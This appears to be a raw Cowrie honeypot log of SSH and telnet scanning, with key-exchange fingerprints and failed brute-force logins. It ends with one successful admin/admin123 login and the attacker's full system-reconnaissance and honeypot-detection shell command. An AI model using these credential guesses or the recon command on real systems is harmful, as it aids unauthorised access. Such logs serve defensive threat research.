{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T13:07:45.137258Z","src_ip":"162.214.159.200","session":"a9ed12d6a9fe","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"coq789","message":"login attempt [root/coq789] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T13:07:45.382295Z","src_ip":"162.214.159.200","session":"a9ed12d6a9fe","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T13:07:46.465795Z","src_ip":"162.214.159.200","session":"a9ed12d6a9fe","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"91.231.89.236","src_port":45901,"dst_ip":"10.17.0.5","dst_port":23,"session":"54d7d96e2ec8","protocol":"telnet","message":"New connection: 91.231.89.236:45901 (10.17.0.5:23) [session: 54d7d96e2ec8]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T13:07:57.156836Z"}
{"eventid":"cowrie.session.closed","duration":0.011153936386108398,"message":"Connection lost after 0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T13:07:57.167868Z","src_ip":"91.231.89.236","session":"54d7d96e2ec8","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"91.231.89.145","src_port":43759,"dst_ip":"10.17.0.5","dst_port":23,"session":"dfa047883b2c","protocol":"telnet","message":"New connection: 91.231.89.145:43759 (10.17.0.5:23) [session: dfa047883b2c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T13:07:57.236611Z"}
{"eventid":"cowrie.session.connect","src_ip":"62.60.130.219","src_port":8918,"dst_ip":"159.203.135.109","dst_port":22,"session":"0c9d97711a60","protocol":"ssh","message":"New connection: 62.60.130.219:8918 (159.203.135.109:22) [session: 0c9d97711a60]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T13:08:03.673711Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-PUTTY","message":"Remote SSH version: SSH-2.0-PUTTY","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T13:08:03.676225Z","src_ip":"62.60.130.219","session":"0c9d97711a60","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"5bd26477da5440a6187bd3f1b39a429c","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group-exchange-sha256,diffie-hellman-group16-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,rijndael-cbc@lysator.liu.se,aes192-cbc,aes128-cbc;hmac-sha2-256,hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-512-etm@openssh.com,hmac-sha1,hmac-sha1-etm@openssh.com,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group-exchange-sha256","diffie-hellman-group16-sha512","diffie-hellman-group18-sha512","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","rsa-sha2-512","rsa-sha2-256","rsa-sha2-512-cert-v01@openssh.com","rsa-sha2-256-cert-v01@openssh.com","ssh-rsa","ssh-rsa-cert-v01@openssh.com"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","rijndael-cbc@lysator.liu.se","aes192-cbc","aes128-cbc"],"macCS":["hmac-sha2-256","hmac-sha2-256-etm@openssh.com","hmac-sha2-512","hmac-sha2-512-etm@openssh.com","hmac-sha1","hmac-sha1-etm@openssh.com","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 5bd26477da5440a6187bd3f1b39a429c","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T13:08:03.786777Z","src_ip":"62.60.130.219","session":"0c9d97711a60","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.6","message":"Connection lost after 0.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T13:08:04.257419Z","src_ip":"62.60.130.219","session":"0c9d97711a60","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":10.082316398620605,"message":"Connection lost after 10 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T13:08:07.318841Z","src_ip":"91.231.89.145","session":"dfa047883b2c","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"91.231.89.232","src_port":58449,"dst_ip":"10.17.0.5","dst_port":23,"session":"a1ca811072b8","protocol":"telnet","message":"New connection: 91.231.89.232:58449 (10.17.0.5:23) [session: a1ca811072b8]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T13:08:21.259663Z"}
{"eventid":"cowrie.login.failed","username":"b'\\x16\\x03\\x03\\x02d\\x01\\x00\\x02`\\x03\\x03\\xb6\\x1a\"\"A\\x834f\\xe3\\xda\\x8b\\xca\\x92\\xab\\xe3\\xe3\\xd3\\x00\\x13\\xd1\\xc2\\x8eBa\\xdb\\x0f\\x93\\xb2\\x9cO\\xad\\x11 \\xa8A=\\xed\\x9d\\x0f\\x80\\x17\\x1en8Ak+\\xba\\xf0'","password":"b'\\xcdC}x\\xfd3\\x1e\\xdb@Z\\xdf\\xda\\xb2 \\xa9\\x00\\x8a\\x00\\x16\\x003\\x00g\\xc0\\x9e\\xc0\\xa2\\x00\\x9e\\x009\\x00k\\xc0\\x9f\\xc0\\xa3\\x00\\x9f\\x00E\\x00\\xbe\\x00\\x88\\x00\\xc4\\x00\\x9a\\xc0\\x08\\xc0\\t\\xc0#\\xc0\\xac\\xc0\\xae\\xc0+\\xc0'","message":"login attempt [b'\\x16\\x03\\x03\\x02d\\x01\\x00\\x02`\\x03\\x03\\xb6\\x1a\"\"A\\x834f\\xe3\\xda\\x8b\\xca\\x92\\xab\\xe3\\xe3\\xd3\\x00\\x13\\xd1\\xc2\\x8eBa\\xdb\\x0f\\x93\\xb2\\x9cO\\xad\\x11 \\xa8A=\\xed\\x9d\\x0f\\x80\\x17\\x1en8Ak+\\xba\\xf0'/b'\\xcdC}x\\xfd3\\x1e\\xdb@Z\\xdf\\xda\\xb2 \\xa9\\x00\\x8a\\x00\\x16\\x003\\x00g\\xc0\\x9e\\xc0\\xa2\\x00\\x9e\\x009\\x00k\\xc0\\x9f\\xc0\\xa3\\x00\\x9f\\x00E\\x00\\xbe\\x00\\x88\\x00\\xc4\\x00\\x9a\\xc0\\x08\\xc0\\t\\xc0#\\xc0\\xac\\xc0\\xae\\xc0+\\xc0'] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T13:08:21.266725Z","src_ip":"91.231.89.232","session":"a1ca811072b8","protocol":"telnet"}
{"eventid":"cowrie.login.failed","username":"b\"\\xc0$\\xc0\\xad\\xc0\\xaf\\xc0,\\xc0r\\xc0s\\xcc\\xa9\\x13\\x02\\x13\\x01\\xcc\\x14\\xc0\\x07\\xc0\\x12\\xc0\\x13\\xc0'\\xc0/\\xc0\\x14\\xc0(\\xc00\\xc0`\\xc0a\\xc0v\\xc0w\\xcc\\xa8\\x13\\x05\\x13\\x04\\x13\\x03\\xcc\\x13\\xc0\\x11\\x00\"","password":"b'\\x00/\\x00<\\xc0\\x9c\\xc0\\xa0\\x00\\x9c\\x005\\x00=\\xc0\\x9d\\xc0\\xa1\\x00\\x9d\\x00A\\x00\\xba\\x00\\x84\\x00\\xc0\\x00\\x07\\x00\\x04\\x00\\x05\\x01\\x00\\x01\\x8d\\x00\\x00\\x00\\x14\\x00\\x12\\x00\\x00\\x0f134.199.244.163\\x00\\x0b\\x00\\x04\\x03\\x00\\x01\\x02\\x00'","message":"login attempt [b\"\\xc0$\\xc0\\xad\\xc0\\xaf\\xc0,\\xc0r\\xc0s\\xcc\\xa9\\x13\\x02\\x13\\x01\\xcc\\x14\\xc0\\x07\\xc0\\x12\\xc0\\x13\\xc0'\\xc0/\\xc0\\x14\\xc0(\\xc00\\xc0`\\xc0a\\xc0v\\xc0w\\xcc\\xa8\\x13\\x05\\x13\\x04\\x13\\x03\\xcc\\x13\\xc0\\x11\\x00\"/b'\\x00/\\x00<\\xc0\\x9c\\xc0\\xa0\\x00\\x9c\\x005\\x00=\\xc0\\x9d\\xc0\\xa1\\x00\\x9d\\x00A\\x00\\xba\\x00\\x84\\x00\\xc0\\x00\\x07\\x00\\x04\\x00\\x05\\x01\\x00\\x01\\x8d\\x00\\x00\\x00\\x14\\x00\\x12\\x00\\x00\\x0f134.199.244.163\\x00\\x0b\\x00\\x04\\x03\\x00\\x01\\x02\\x00'] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T13:08:21.270332Z","src_ip":"91.231.89.232","session":"a1ca811072b8","protocol":"telnet"}
{"eventid":"cowrie.login.failed","username":"\u0000\f\u0000","password":"\u0000\u001d\u0000\u0017\u0000\u001e\u0000\u0019\u0000\u0018\u0000#\u0000\u0000\u0000\u0005\u0000\u0005\u0001\u0000\u0000\u0000\u0000\u0000\u0016\u0000\u0000\u0000\u0017\u0000\u0000\u0000\r0\u0000.\u0004\u0003\u0005\u0003\u0006\u0003\b\u0007\b\b\b\t\b","message":"login attempt [\u0000\f\u0000/\u0000\u001d\u0000\u0017\u0000\u001e\u0000\u0019\u0000\u0018\u0000#\u0000\u0000\u0000\u0005\u0000\u0005\u0001\u0000\u0000\u0000\u0000\u0000\u0016\u0000\u0000\u0000\u0017\u0000\u0000\u0000\r0\u0000.\u0004\u0003\u0005\u0003\u0006\u0003\b\u0007\b\b\b\t\b] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T13:08:21.275942Z","src_ip":"91.231.89.232","session":"a1ca811072b8","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":0.09862327575683594,"message":"Connection lost after 0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T13:08:21.358127Z","src_ip":"91.231.89.232","session":"a1ca811072b8","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"91.231.89.149","src_port":45529,"dst_ip":"10.17.0.5","dst_port":23,"session":"7f3367793264","protocol":"telnet","message":"New connection: 91.231.89.149:45529 (10.17.0.5:23) [session: 7f3367793264]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T13:08:21.422230Z"}
{"eventid":"cowrie.session.closed","duration":3.004477024078369,"message":"Connection lost after 3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T13:08:24.426538Z","src_ip":"91.231.89.149","session":"7f3367793264","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"38.93.206.2","src_port":29076,"dst_ip":"10.17.0.5","dst_port":22,"session":"f596c4c6e064","protocol":"ssh","message":"New connection: 38.93.206.2:29076 (10.17.0.5:22) [session: f596c4c6e064]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T13:08:28.264720Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T13:08:28.268663Z","src_ip":"38.93.206.2","session":"f596c4c6e064","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T13:08:28.319210Z","src_ip":"38.93.206.2","session":"f596c4c6e064","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"cessna","message":"login attempt [root/cessna] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T13:08:28.514674Z","src_ip":"38.93.206.2","session":"f596c4c6e064","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.3","message":"Connection lost after 1.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T13:08:29.567126Z","src_ip":"38.93.206.2","session":"f596c4c6e064","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"170.64.224.25","src_port":48186,"dst_ip":"159.203.135.109","dst_port":23,"session":"29a8849c731a","protocol":"telnet","message":"New connection: 170.64.224.25:48186 (159.203.135.109:23) [session: 29a8849c731a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T13:08:31.306615Z"}
{"eventid":"cowrie.session.connect","src_ip":"91.92.40.176","src_port":34838,"dst_ip":"10.17.0.5","dst_port":22,"session":"4a0cbf9e02bc","protocol":"ssh","message":"New connection: 91.92.40.176:34838 (10.17.0.5:22) [session: 4a0cbf9e02bc]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T13:08:56.593761Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T13:08:56.667610Z","src_ip":"91.92.40.176","session":"4a0cbf9e02bc","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"2ec37a7cc8daf20b10e1ad6221061ca5","hasshAlgorithms":"curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group16-sha512,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-ctr,aes192-ctr,aes256-ctr,aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,arcfour256,arcfour128,arcfour,3des-cbc,aes128-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group-exchange-sha256","diffie-hellman-group-exchange-sha1","diffie-hellman-group16-sha512","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-rsa","rsa-sha2-256","rsa-sha2-512","ssh-dss","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-ed25519"],"encCS":["aes128-ctr","aes192-ctr","aes256-ctr","aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","arcfour256","arcfour128","arcfour","3des-cbc","aes128-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 2ec37a7cc8daf20b10e1ad6221061ca5","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T13:08:56.733681Z","src_ip":"91.92.40.176","session":"4a0cbf9e02bc","protocol":"ssh"}
{"eventid":"cowrie.login.success","username":"admin","password":"admin123","message":"login attempt [admin/admin123] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T13:08:57.511673Z","src_ip":"91.92.40.176","session":"4a0cbf9e02bc","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T13:08:57.834310Z","src_ip":"91.92.40.176","session":"4a0cbf9e02bc","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"export PATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin:$PATH; uname=$(uname -s -v -n -m 2>/dev/null || /bin/uname -s -v -n -m 2>/dev/null || /usr/bin/uname -s -v -n -m 2>/dev/null || busybox uname -s -v -n -m 2>/dev/null || ( [ -f /proc/version ] && head -1 /proc/version | cut -d' ' -f1 ) || ( [ -f /etc/os-release ] && grep '^ID=' /etc/os-release | cut -d= -f2 | tr -d '\"' ) || echo \"\"); arch=$(uname -m 2>/dev/null || /bin/uname -m 2>/dev/null || /usr/bin/uname -m 2>/dev/null || busybox uname -m 2>/dev/null || ( [ -f /proc/cpuinfo ] && grep -q \"lm\" /proc/cpuinfo && echo x86_64 ) || ( [ -f /proc/cpuinfo ] && grep -q \"CPU architecture: 8\" /proc/cpuinfo && echo aarch64 ) || ( [ -f /proc/cpuinfo ] && grep -q \"CPU architecture: 7\" /proc/cpuinfo && echo armv7l ) || echo \"\"); uptime=$(cat /proc/uptime 2>/dev/null || busybox cat /proc/uptime 2>/dev/null); cpus=$(nproc 2>/dev/null || /usr/bin/nproc 2>/dev/null || busybox nproc 2>/dev/null || grep -c \"^processor\" /proc/cpuinfo 2>/dev/null); cpu_model=$( { lscpu 2>/dev/null | awk -F: '/Model name/ {print $2}'; grep -m1 -E \"^model name\" /proc/cpuinfo 2>/dev/null | cut -d: -f2-; grep -m1 -E \"^Hardware\" /proc/cpuinfo 2>/dev/null | cut -d: -f2-; cat /proc/device-tree/model 2>/dev/null; } | sed '/^$/d; /unknown/d; s/^[[:space:]]*//; s/[[:space:]]*$//; s/ AArch64 Processor$//; s/ Processor$//; s/ CPU$//' | head -1 ); gpu_info=$( (lspci 2>/dev/null | grep -i vga; lspci 2>/dev/null | grep -i nvidia; busybox lspci 2>/dev/null | grep -i vga; busybox lspci 2>/dev/null | grep -i nvidia) 2>/dev/null ); last_output=$(last 2>/dev/null); filter_output=$( ( export LANG=C LC_ALL=C; echo '===SHELL_BEHAVIOR==='; printf 'path_err='; ( ./xxxxxx 2>&1 || true ) | head -c 250; printf '\\n'; printf 'cmd_err='; ( xxxxxx 2>&1 || true ) | head -c 250; printf '\\n'; echo '===DONE===' ) 2>&1 ); echo \"UNAME:$uname\"; echo \"ARCH:$arch\"; echo \"UPTIME:$uptime\"; echo \"CPUS:$cpus\"; echo \"CPU_MODEL:$cpu_model\"; echo \"GPU:$gpu_info\"; echo \"LAST:$last_output\"; echo \"FILTER:$filter_output\"","message":"CMD: export PATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin:$PATH; uname=$(uname -s -v -n -m 2>/dev/null || /bin/uname -s -v -n -m 2>/dev/null || /usr/bin/uname -s -v -n -m 2>/dev/null || busybox uname -s -v -n -m 2>/dev/null || ( [ -f /proc/version ] && head -1 /proc/version | cut -d' ' -f1 ) || ( [ -f /etc/os-release ] && grep '^ID=' /etc/os-release | cut -d= -f2 | tr -d '\"' ) || echo \"\"); arch=$(uname -m 2>/dev/null || /bin/uname -m 2>/dev/null || /usr/bin/uname -m 2>/dev/null || busybox uname -m 2>/dev/null || ( [ -f /proc/cpuinfo ] && grep -q \"lm\" /proc/cpuinfo && echo x86_64 ) || ( [ -f /proc/cpuinfo ] && grep -q \"CPU architecture: 8\" /proc/cpuinfo && echo aarch64 ) || ( [ -f /proc/cpuinfo ] && grep -q \"CPU architecture: 7\" /proc/cpuinfo && echo armv7l ) || echo \"\"); uptime=$(cat /proc/uptime 2>/dev/null || busybox cat /proc/uptime 2>/dev/null); cpus=$(nproc 2>/dev/null || /usr/bin/nproc 2>/dev/null || busybox nproc 2>/dev/null || grep -c \"^processor\" /proc/cpuinfo 2>/dev/null); cpu_model=$( { lscpu 2>/dev/null | awk -F: '/Model name/ {print $2}'; grep -m1 -E \"^model name\" /proc/cpuinfo 2>/dev/null | cut -d: -f2-; grep -m1 -E \"^Hardware\" /proc/cpuinfo 2>/dev/null | cut -d: -f2-; cat /proc/device-tree/model 2>/dev/null; } | sed '/^$/d; /unknown/d; s/^[[:space:]]*//; s/[[:space:]]*$//; s/ AArch64 Processor$//; s/ Processor$//; s/ CPU$//' | head -1 ); gpu_info=$( (lspci 2>/dev/null | grep -i vga; lspci 2>/dev/null | grep -i nvidia; busybox lspci 2>/dev/null | grep -i vga; busybox lspci 2>/dev/null | grep -i nvidia) 2>/dev/null ); last_output=$(last 2>/dev/null); filter_output=$( ( export LANG=C LC_ALL=C; echo '===SHELL_BEHAVIOR==='; printf 'path_err='; ( ./xxxxxx 2>&1 || true ) | head -c 250; printf '\\n'; printf 'cmd_err='; ( xxxxxx 2>&1 || true ) | head -c 250; printf '\\n'; echo '===DONE===' ) 2>&1 ); echo \"UNAME:$uname\"; echo \"ARCH:$arch\"; echo \"UPTIME:$uptime\"; echo \"CPUS:$cpus\"; echo \"CPU_MODEL:$cpu_model\"; echo \"GPU:$gpu_info\"; echo \"LAST:$last_output\"; echo \"FILTER:$filter_output\"","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T13:08:57.836668Z","src_ip":"91.92.40.176","session":"4a0cbf9e02bc","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"uname -s -v -n -m 2 > /dev/null","message":"CMD: uname -s -v -n -m 2 > /dev/null","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T13:08:57.839684Z","src_ip":"91.92.40.176","session":"4a0cbf9e02bc","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"/bin/uname -s -v -n -m 2 > /dev/null","message":"CMD: /bin/uname -s -v -n -m 2 > /dev/null","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T13:08:57.842155Z","src_ip":"91.92.40.176","session":"4a0cbf9e02bc","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"/usr/bin/uname -s -v -n -m 2 > /dev/null","message":"CMD: /usr/bin/uname -s -v -n -m 2 > /dev/null","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T13:08:57.844925Z","src_ip":"91.92.40.176","session":"4a0cbf9e02bc","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"busybox uname -s -v -n -m 2 > /dev/null","message":"CMD: busybox uname -s -v -n -m 2 > /dev/null","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T13:08:57.848282Z","src_ip":"91.92.40.176","session":"4a0cbf9e02bc","protocol":"ssh"}
{"eventid":"cowrie.command.success","input":"uname -s -v -n -m","message":"Command found: uname -s -v -n -m","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T13:08:57.850585Z","src_ip":"91.92.40.176","session":"4a0cbf9e02bc","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"( [ -f /proc/version ]","message":"CMD: ( [ -f /proc/version ]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T13:08:57.853159Z","src_ip":"91.92.40.176","session":"4a0cbf9e02bc","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"[ -f /proc/version ]","message":"CMD: [ -f /proc/version ]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T13:08:57.856416Z","src_ip":"91.92.40.176","session":"4a0cbf9e02bc","protocol":"ssh"}
